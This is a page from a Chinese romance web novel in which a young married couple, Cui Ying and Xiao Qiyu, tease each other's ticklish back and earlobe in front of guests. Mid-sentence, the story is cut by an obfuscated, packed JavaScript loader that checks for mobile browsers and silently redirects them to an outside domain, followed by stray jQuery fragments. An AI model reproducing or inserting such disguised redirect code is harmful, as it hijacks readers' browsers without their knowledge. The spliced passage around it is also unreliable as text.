16.耳垂(第2页)

    萧岐玉“嘁”了声,嫌弃的语气:“真以为所有人都跟你一样没脑子。”

    崔楹刚热乎一点的心,顿时便沉了下去,皮笑肉不笑道:“是是是,你是谁啊,最有脑子了。”

    说罢伸出另只手,五指纤纤若柔荑,悄无声息地落在了萧岐玉的精窄的后腰上。

    萧岐玉的身体瞬时绷紧,呼吸都紧张许多。

    “你把手给我放下去,”萧岐玉咬字急促,鼻息紊乱,声音都带了低哑的狠意,“崔楹,你别逼我当众收拾你。”

    他后腰敏感,碰则生痒,这个秘密,除了幼时便同他互相挠痒使坏的崔楹,没有第二个人知道。

    崔楹眯了杏眸,腹中坏水翻涌:“收拾我?怎么收拾?”

    她伸出手指,嫩白的指尖准确无误地,按在了萧岐玉一侧凹陷的腰窝上:“像这样么?”

    萧岐玉呼吸停滞,眼睛都憋红了。

    就在这时,崔晏扭头对他道:“李大人就要走了,七郎,你过来送客。”

    萧岐玉压住所有不适,垂眸颔首:“小婿知道。”

    崔楹笑眼盈盈:“女儿愿一同相送。”落在萧岐玉腰窝上的手指丝毫不松。

    众目睽睽之下,萧岐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881518|175054||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    玉面不改色,顶着双潮红的凤眸,正常说话送客,毫无失态之处,唯独手背上的青筋在隐忍地跳跃着。

    崔楹看在眼里,心里清楚,萧岐玉肯定杀了她的心都有了,偏当这么多人面,还什么都做不了。

    也正因如此,崔楹才在心中暗爽,原本只是打算小小惩戒萧岐玉一下,发展到此刻,倒让她有些欲罢不能,不舍得松手了。

    暗爽不过片瞬,就在这时,一道灼热的呼吸喷洒在崔楹耳后,激起了她一身的鸡皮疙瘩,如同踩中尾巴的猫儿,下意识便要跳开。

    偏有只长臂圈住她的腰,使她动弹不得,足下生根。

    崔楹抬眸,这才发现萧岐玉在不知何时低了头,面庞逼近她侧脸,狭长凤眸冷冷注视着她,高挺的鼻梁埋入她耳畔,呼吸说话,气息都在不偏不倚直喷在她耳垂。

    崔楹自幼便耳垂敏感,一遇热气便浑身颤栗,酥麻的痒意蔓延全身,让她几乎要原地瘫软,毫无抵抗能力。

    “你给我死开!”

    崔楹咬字绵软,力气尽失,但言语间的狠意则前所未有之重。

    “不是想知道我怎么收拾你吗?”萧岐玉笑了,薄唇逼近通红圆润的耳珠,任由呼吸肆意侵犯那方娇嫩之处,“我就这么收拾你。”

    崔楹的眼泪几乎要被炙热的酥痒逼出来,只得咬唇忍耐着,嘴里低声放着狠话。

    此番举动落在宾客眼中,所有人都当成是小夫妻在说悄悄话,便有女眷笑道:“三姑爷这是在同我们三娘说什么呢?怎不说出来,让大家一齐听听。”

    话音一出,立刻引人起哄。

    萧岐玉充耳不闻,眼里只有近在咫尺的嫩红耳垂。

    崔楹怕露馅,压下怒火,抬脸笑道:“没什么的,他跟我说他站太久了,现在有点虚,想歇着了。”

    “虚”字一出,萧岐玉脸都黑了。

    他九岁就在军营接受与青壮男子同等难度的体能操练,每日早起练拳的时候,她崔楹还在被窝里做梦,别说站一天,就是站三天三夜,他都不可能感到累,还虚,她这是拿他当废物了?

    看着那通红娇艳的耳垂,萧岐玉呼吸更重了,恨不得直接咬上去泄愤。

    “嗯啊……”感受着愈发灼热的气息,崔楹痒到低嗔出声。

    知道来硬的不行,她干脆放软了语气,略带了恳求道:“好了不跟你闹了,我不碰你后腰了,你也不要再靠近我耳朵,咱俩谁也不惹谁了,行不行?”

    萧岐玉哼了声,声音低沉冰冷:“你先松手。”

    崔楹:“不行,我怎么知道你会不会阴我?要松手也是你先松。”

    萧岐玉:“那我又怎么知道你会不会阴我?”

    他二人之间的信任就等于在秃子头上找跳蚤——没有的东西。

    崔楹想了想,拿定主意:“既然谁都不愿意先松开,那我就数三个数,咱俩要松一起松。”

    见萧岐玉没出声,崔楹只当他默认,小声念道:“一、二……”

    “三。”

    话音落下。

    两个人都没松。